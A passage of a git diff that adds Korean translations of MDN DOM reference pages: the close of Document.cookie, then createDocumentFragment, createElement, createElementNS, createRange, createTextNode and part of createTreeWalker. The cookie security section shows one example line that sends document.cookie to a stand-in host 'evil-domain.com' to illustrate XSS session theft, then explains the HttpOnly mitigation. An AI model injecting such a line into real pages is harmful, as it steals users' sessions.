+<p>It is important to note that the <code>path</code> attribute does <em>not</em> protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden {{HTMLElement("iframe")}} element with the path of the cookie, then accessing this iframe's <code>contentDocument.cookie</code> property. The only way to protect the cookie is by using a different domain or subdomain, due to the <a href="/en-US/docs/Same_origin_policy_for_JavaScript">same origin policy</a>.</p>
+
+<p>Cookies are often used in web application to identify a user and their authenticated session. So stealing the cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -</p>
+
+<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+</pre>
+
+<p>The <code>HTTPOnly</code> cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a>.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Starting with Firefox 2, a better mechanism for client-side storage is available - <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a>.</li>
+ <li>You can delete a cookie by simply updating its expiration time to zero.</li>
+ <li>Keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a> if you are going to keep "client-only" data.</li>
+ <li><a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a> (Section 5.3, "Implementation Limits") specifies that there should be <strong>no maximum length</strong> of a cookie's key or value size, and encourages implementations to support <strong>arbitrarily large cookies</strong>. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.</li>
+</ul>
+
+<p>The reason for the <a href="#Syntax">syntax</a> of the <code>document.cookie</code> accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>):</p>
+
+<h4 id="The_server_tells_the_client_to_store_a_cookie">The server tells the client to store a cookie</h4>
+
+<pre class="eval notranslate">HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: cookie_name1=cookie_value1
+Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
+
+[content of the page here]</pre>
+
+<h4 id="The_client_sends_back_to_the_server_its_cookies_previously_stored">The client sends back to the server its cookies previously stored</h4>
+
+<pre class="eval notranslate">GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
+Accept: */*
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}</td>
+ <td>{{Spec2("DOM2 HTML")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("Cookie Prefixes")}}</td>
+ <td>{{Spec2("Cookie Prefixes")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.cookie")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li>
+ <li><a href="/en-US/docs/Web/Guide/API/DOM/Storage">DOM Storage</a></li>
+ <li><a href="/en-US/docs/Web/API/URLUtils.pathname"><code>URLUtils.pathname</code></a></li>
+ <li>{{jsxref("Date.toUTCString()")}}</li>
+ <li><a href="/ja/docs/Web/HTTP"><code>HTTP</code></a></li>
+ <li><a href="/en-US/docs/Code_snippets/Cookies">Cookies (code snippets)</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc2965">RFC 2965</a></li>
+</ul>
diff --git a/files/ko/web/api/document/createdocumentfragment/index.html b/files/ko/web/api/document/createdocumentfragment/index.html
new file mode 100644
index 0000000000..7c4fb33469
--- /dev/null
+++ b/files/ko/web/api/document/createdocumentfragment/index.html
@@ -0,0 +1,134 @@
+---
+title: Document.createDocumentFragment()
+slug: Web/API/Document/createDocumentFragment
+translation_of: Web/API/Document/createDocumentFragment
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>새로운 빈 {{domxref("DocumentFragment")}} 를 생성합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>docFragment</var> = document.createDocumentFragment();
+</pre>
+
+<p><code>docFragment</code> 는 빈 {{domxref("DocumentFragment")}} 객체를 나타냅니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>DocumentFragment</code>s 는 DOM 노드들 입니다. 이것들은 메인 DOM 트리의 일부가 되지 않습니다. 일반적인 유즈 케이스는 다큐먼트 조각을 생성하고, 엘리먼트들을 다큐먼트 조각에 추가하고 그 다큐먼트 조각을 DOM 트리에 추가하는 것입니다. DOM 트리 내에서 다큐먼트 조각은 그것의 모든 자식들로 대체됩니다.</p>
+
+<p>메모리 내에 다큐먼트 조각이 존재하고 메인 DOM 트리의 일부가 아니라면, 이것에 자식들을 추가하는 것은 페이지 <a href="https://developers.google.com/speed/articles/reflow?csw=1">reflow</a> (엘리먼트의 위치와 좌표의 계산) 를 유발하지 않습니다. 따라서, 다큐먼트 조각을 사용하는 것은 보통 <a href="http://ejohn.org/blog/dom-documentfragments/">better performance</a> 의 결과를 가져옵니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var ul = document.getElementsByTagName("ul")[0]; // assuming it exists
+var docfrag = document.createDocumentFragment();
+var browserList = ["Internet Explorer", "Firefox", "Safari",
+ "Chrome", "Opera"];
+
+browserList.forEach(function(e) {
+ var li = document.createElement("li");
+ li.textContent = e;
+ docfrag.appendChild(li);
+});
+
+ul.appendChild(docfrag);
+// a list with well-known web browsers
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM4', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td>
+ <td>{{Spec2('DOM4')}}</td>
+ <td>Clarifies that the node document of the created document fragment is the context object.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td>
+ <td>{{Spec2('DOM2 Core')}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox (Gecko)</th>
+ <th>Chrome</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Android</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("DOMImplementation.createDocument", "document.implementation.createDocument()")}}</li>
+ <li>{{domxref("documentFragment")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/createelement/index.html b/files/ko/web/api/document/createelement/index.html
new file mode 100644
index 0000000000..6cb461eeb5
--- /dev/null
+++ b/files/ko/web/api/document/createelement/index.html
@@ -0,0 +1,101 @@
+---
+title: Document.createElement()
+slug: Web/API/Document/createElement
+tags:
+ - API
+ - DOM
+ - Document
+ - Method
+ - Reference
+ - Web
+translation_of: Web/API/Document/createElement
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>HTML 문서에서, <strong><code>Document.createElement()</code></strong> 메서드는 지정한 <code>tagName</code>의 HTML 요소를 만들어 반환합니다. <code>tagName</code>을 인식할 수 없으면 {{domxref("HTMLUnknownElement")}}를 대신 반환합니다.</p>
+
+<h2 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">구문</h2>
+
+<pre class="eval"><var>let element</var> = <var>document</var>.createElement(<var>tagName[, options]</var>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>tagName</code></dt>
+ <dd>생성할 요소의 유형을 가리키는 문자열.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd><code>is</code> 속성 하나를 가진 <code>ElementCreationOptions</code> 객체. 속성의 값은 <code>customElements.define()</code>을 사용해 정의한 사용자 정의 요소입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{domxref("Element")}}.</p>
+
+<h2 id="예제" name="예제">예제</h2>
+
+<p>아래 예제는 새로운 <code>&lt;div&gt;</code> 엘리먼트를 생성한 후, ID가 "div1" 인 요소 이전에 추가합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html"><code>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+ &lt;title&gt;||Working with elements||&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;div id="div1"&gt;위의 텍스트는 동적으로 추가했습니다.&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</code></pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js"><code>document.body.onload = addElement;
+
+function addElement () {
+ // create a new div element
+ var newDiv = document.createElement("div");
+ // and give it some content
+ var newContent = document.createTextNode("환영합니다!");
+ // add the text node to the newly created div
+ newDiv.appendChild(newContent);
+
+ // add the newly created element and its content into the DOM
+ var currentDiv = document.getElementById("div1");
+ document.body.insertBefore(newDiv, currentDiv);
+}</code></pre>
+
+<p>{{EmbedLiveSample("예제", 500, 50)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.createElement")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild()")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.hasChildNodes()")}}</li>
+ <li>{{domxref("document.createElementNS()")}} — to explicitly specify the namespace URI for the element.</li>
+</ul>
diff --git a/files/ko/web/api/document/createelementns/index.html b/files/ko/web/api/document/createelementns/index.html
new file mode 100644
index 0000000000..6fee5b6d80
--- /dev/null
+++ b/files/ko/web/api/document/createelementns/index.html
@@ -0,0 +1,173 @@
+---
+title: Document.createElementNS()
+slug: Web/API/Document/createElementNS
+translation_of: Web/API/Document/createElementNS
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>지정된 네임스페이스 URI와 적합한 이름으로 엘리먼트를 만든다.</p>
+
+<p>네임스페이스 URI를 지정하지 않고 엘리먼트를 만들려면 <a href="createElement" title="createElement">createElement</a>메소드를 사용하라.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="brush: js"><var>var element</var> = <var>document</var>.createElementNS(<var>namespaceURI</var>, <var>qualifiedName</var>[, options]);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>namespaceURI</code></dt>
+ <dd>A string that specifies the <a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/glossary.html#dt-namespaceURI">namespace URI</a> to associate with the element. The <a href="/en-US/docs/DOM/element.namespaceURI">namespaceURI</a> property of the created element is initialized with the value of <code>namespaceURI</code>. See <a href="#Valid Namespace URIs">Valid Namespace URIs</a>.</dd>
+ <dt><code>qualifiedName</code></dt>
+ <dd>A string that specifies the type of element to be created. The <a href="/en-US/docs/DOM/element.nodeName">nodeName</a> property of the created element is initialized with the value of <code>qualifiedName</code>.</dd>
+ <dt><code>options</code><span class="inlineIndicator optional optionalInline">Optional</span></dt>
+ <dd>An optional <code>ElementCreationOptions</code> object containing a single property named <code>is</code>, whose value is the tag name for a custom element previously defined using <code>customElements.define()</code>. For backwards compatibility with previous versions of the <a class="external external-icon" href="https://www.w3.org/TR/custom-elements/">Custom Elements specification</a>, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name. See <a class="external external-icon" href="https://developers.google.com/web/fundamentals/primers/customelements/#extendhtml">Extending native HTML elements</a> for more information on how to use this parameter.</dd>
+ <dd>The new element will be given an <code>is</code> attribute whose value is the custom element's tag name. Custom elements are an experimental feature only available in some browsers.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>The new <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element" title="The Element interface represents an object of a Document. This interface describes methods and properties common to all kinds of elements. Specific behaviors are described in interfaces which inherit from Element but add additional functionality."><code>Element</code></a>.</p>
+
+<h2 id="Example" name="Example"><a id="Valid Namespace URIs" name="Valid Namespace URIs">Valid Namespace URIs</a></h2>
+
+<ul>
+ <li>HTML - Use <code>http://www.w3.org/1999/xhtml</code></li>
+ <li>SVG - Use <code>http://www.w3.org/2000/svg</code></li>
+ <li>XBL - Use <code>http://www.mozilla.org/xbl</code></li>
+ <li>XUL - Use <code>http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>This creates a new &lt;div&gt; element in the <a href="/en-US/docs/XHTML" title="XHTML">XHTML</a> namespace and appends it to the vbox element. Although this is not an extremely useful <a href="/en-US/docs/XUL" title="XUL">XUL</a> document, it does demonstrate the use of elements from two different namespaces within a single document:</p>
+
+<pre class="brush:xml">&lt;?xml version="1.0"?&gt;
+&lt;page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+ xmlns:html="http://www.w3.org/1999/xhtml"
+ title="||Working with elements||"
+ onload="init()"&gt;
+
+&lt;script type="text/javascript"&gt;&lt;![CDATA[
+ var container;
+ var newdiv;
+ var txtnode;
+
+ function init(){
+ container = document.getElementById("ContainerBox");
+ newdiv = document.createElementNS("http://www.w3.org/1999/xhtml","div");
+ txtnode = document.createTextNode("This is text that was constructed dynamically with createElementNS and createTextNode then inserted into the document using appendChild.");
+ newdiv.appendChild(txtnode);
+ container.appendChild(newdiv);
+ }
+
+]]&gt;&lt;/script&gt;
+
+ &lt;vbox id='ContainerBox' flex='1'&gt;
+ &lt;html:div&gt;
+ The script on this page will add dynamic content below:
+ &lt;/html:div&gt;
+ &lt;/vbox&gt;
+
+&lt;/page&gt;
+</pre>
+
+<div class="note">
+<p>The example given above uses inline script which is not recommended in XHTML documents. This particular example is actually an XUL document with embedded XHTML, however, the recommendation still applies.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', "#dom-document-createelementns", "Document.createElement")}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>options</code> argument</td>
+ <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop(50)}}<sup>[2][3]</sup></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In previous versions of the specification, this argument was just a string whose value was the custom element's tag name. For the sake of backwards compatibility, Chrome accepts both forms.</p>
+
+<p>[2] See [1] above: like Chrome, Firefox accepts a string instead of an object here, but only from version 51 onwards. In version 50,  <code>options</code> must be an object.</p>
+
+<p>[3] To experiment with custom elements in Firefox, you must set the <code>dom.webcomponents.enabled</code> and <code>dom.webcomponents.customelements.enabled</code> preferences to <code>true</code>.</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="createElement">document.createElement</a></li>
+ <li><a href="createTextNode">document.createTextNode</a></li>
+ <li><a href="../Node/namespaceURI">Node.namespaceURI</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/1999/REC-xml-names-19990114">Namespaces in XML</a></li>
+</ul>
diff --git a/files/ko/web/api/document/createrange/index.html b/files/ko/web/api/document/createrange/index.html
new file mode 100644
index 0000000000..655add378f
--- /dev/null
+++ b/files/ko/web/api/document/createrange/index.html
@@ -0,0 +1,33 @@
+---
+title: Document.createRange()
+slug: Web/API/Document/createRange
+translation_of: Web/API/Document/createRange
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>새 {{domxref("Range")}} 객체를 리턴합니다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox">range = document.createRange();
+</pre>
+
+<p><code>range</code> 는 생성된 {{domxref("Range")}} 객체입니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">var range = document.createRange();
+
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+</pre>
+
+<h2 id="Notes" name="Notes">노트</h2>
+
+<p>Range 객체의 대부분의 메소드들은 Range 객체가 생성 된 후, 바운더리 포인트를 지정해야 사용할 수 있습니다.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-DocumentRange-method-createRange">DOM Level 2 Range: DocumentRange.createRange</a></li>
+</ul>
diff --git a/files/ko/web/api/document/createtextnode/index.html b/files/ko/web/api/document/createtextnode/index.html
new file mode 100644
index 0000000000..2da7134fbb
--- /dev/null
+++ b/files/ko/web/api/document/createtextnode/index.html
@@ -0,0 +1,60 @@
+---
+title: Document.createTextNode()
+slug: Web/API/Document/createTextNode
+tags:
+ - DOM
+ - Gecko
+translation_of: Web/API/Document/createTextNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+
+<p>텍스트 노드를 생성합니다.</p>
+
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+
+<pre class="eval"><em>텍스트</em> = document.createTextNode(<em>데이터</em>);
+</pre>
+
+<h3 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98">매개변수</h3>
+
+<ul>
+ <li><code>텍스트</code> 생성된 텍스트 노드입니다.</li>
+ <li><code>데이터</code> 텍스트 노드에 쓰여지는 문자열입니다.</li>
+</ul>
+
+<h3 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h3>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;createTextNode 예제&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function addTextNode()
+{
+var newtext = document.createTextNode(" 동적으로 추가되는 텍스트. ");
+var para = document.getElementById("p1");
+para.appendChild(newtext);
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;div style="border: 1px solid red"&gt;
+&lt;p id="p1"&gt;단락의 첫번째 줄.&lt;br /&gt;&lt;/p&gt;
+&lt;/div&gt;&lt;br /&gt;
+
+&lt;button onclick="addTextNode();"&gt;TextNode 추가하기.&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id=".EA.B7.9C.EC.95.BD" name=".EA.B7.9C.EC.95.BD">규약</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1975348127">createTextNode </a></p>
+
+<p>{{ languages( { "en": "en/DOM/document.createTextNode", "fr": "fr/DOM/document.createTextNode", "pl": "pl/DOM/document.createTextNode" } ) }}</p>
diff --git a/files/ko/web/api/document/createtreewalker/index.html b/files/ko/web/api/document/createtreewalker/index.html
new file mode 100644
index 0000000000..3becf1e6f4
--- /dev/null
+++ b/files/ko/web/api/document/createtreewalker/index.html
@@ -0,0 +1,160 @@
+---
+title: Document.createTreeWalker()
+slug: Web/API/Document/createTreeWalker
+tags:
+ - API
+ - DOM
+ - Document
+ - Method
+ - Reference
+translation_of: Web/API/Document/createTreeWalker
+---
+<div>{{ApiRef("Document")}}</div>
+
+<p><strong><code>Document.createTreeWalker()</code></strong> 메소드는 새로운 {{domxref("TreeWalker")}} 객체를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>document</em>.createTreeWalker(<em>root</em>, <em>whatToShow</em>[, <em>filter</em>[, <em>entityReferenceExpansion</em>]]);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><em>root </em></code></dt>
+ <dd>이 {{domxref("TreeWalker")}} 순회의 루트 {{domxref("Node")}}이다. 이것은 보통 이 문서 소유의 한 엘리먼트이다.</dd>
+ <dt><code>whatToShow </code>{{optional_inline}}</dt>
+ <dd><code><a href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter">NodeFilter</a></code>의 상수 프라퍼티들을 조합하여 만든 비트마스크를 나타내는 선택적인 <code>unsigned long</code> 이다. 이것은 특정 유형의 노드를 필터링하는 편리한 방법이다. 기본값은 <code>SHOW_ALL</code> 상수를 나타내는 <code>0xFFFFFFFF</code>이다.
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">상수</td>
+ <td class="header">숫자 값</td>
+ <td class="header">설명</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_ALL</code></td>
+ <td><code>-1</code> (<code>unsigned long의 최대 값</code>)</td>
+ <td>Shows all nodes.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td>
+ <td><code>2</code></td>
+ <td>Shows attribute {{domxref("Attr")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Attr")}} node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. Since attributes are never children of other nodes, they do not appear when traversing over the document tree.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td>
+ <td><code>8</code></td>
+ <td>Shows {{domxref("CDATASection")}} nodes.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_COMMENT</code></td>
+ <td><code>128</code></td>
+ <td>Shows {{domxref("Comment")}} nodes.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_DOCUMENT</code></td>
+ <td><code>256</code></td>
+ <td>Shows {{domxref("Document")}} nodes.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td>
+ <td><code>1024</code></td>
+ <td>Shows {{domxref("DocumentFragment")}} nodes.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td>
+ <td><code>512</code></td>
+ <td>Shows {{domxref("DocumentType")}} nodes.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_ELEMENT</code></td>
+ <td><code>1</code></td>
+ <td>Shows {{domxref("Element")}} nodes.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td>
+ <td><code>32</code></td>
+ <td>Shows {{domxref("Entity")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Entity")}} node as its root; in this case, it means that the {{domxref("Entity")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td>
+ <td><code>16</code></td>
+ <td>Shows {{domxref("EntityReference")}} nodes.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td>
+ <td><code>2048</code></td>
+ <td>Shows {{domxref("Notation")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with a {{domxref("Notation")}} node as its root; in this case, it means that the {{domxref("Notation")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td>
+ <td><code>64</code></td>
+ <td>Shows {{domxref("ProcessingInstruction")}} nodes.</td>
+ </tr>
+ <tr>
+ <td><code>NodeFilter.SHOW_TEXT</code></td>
+ <td><code>4</code></td>
+ <td>Shows {{domxref("Text")}} nodes.</td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+ <dt><code>filter</code> {{optional_inline}}</dt>
+ <dd>선택적인 {{domxref("NodeFilter")}}이다. {{domxref("TreeWalker")}}가 <code>whatToShow</code> 체크를 통과한 노드의 승인여부를 판단하기 위해 호출하는 <code>acceptNode</code> 메소드를 가진 객체이다.</dd>
+ <dt><code>entityReferenceExpansion</code> {{optional_inline}} {{obsolete_inline}}</dt>
+ <dd>한 {{domxref("EntityReference")}}를 버릴 때 그 전체 하위 트리를 같이 버려야하는지를 나타내는 {{domxref("Boolean")}} 플래그이다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{domxref("TreeWalker")}} 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 body의 모든 노드들을 순회하고, 노드의 집합을 엘리먼트로 줄이고, 단순히 각 노드를 승인하고 (대신 <code>acceptNode()</code> 메소드에서 그 집합을 줄일 수도 있다), 노드들(지금은 모두 엘리먼트지만)을 전진하기 위해 생성된 트리 워커 반복자를 이용하여 배열에 푸시한다.</p>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+ document.body,
+ NodeFilter.SHOW_ELEMENT,
+ { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+ false
+);
+
+var nodeList = [];
+
+while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ <tr>
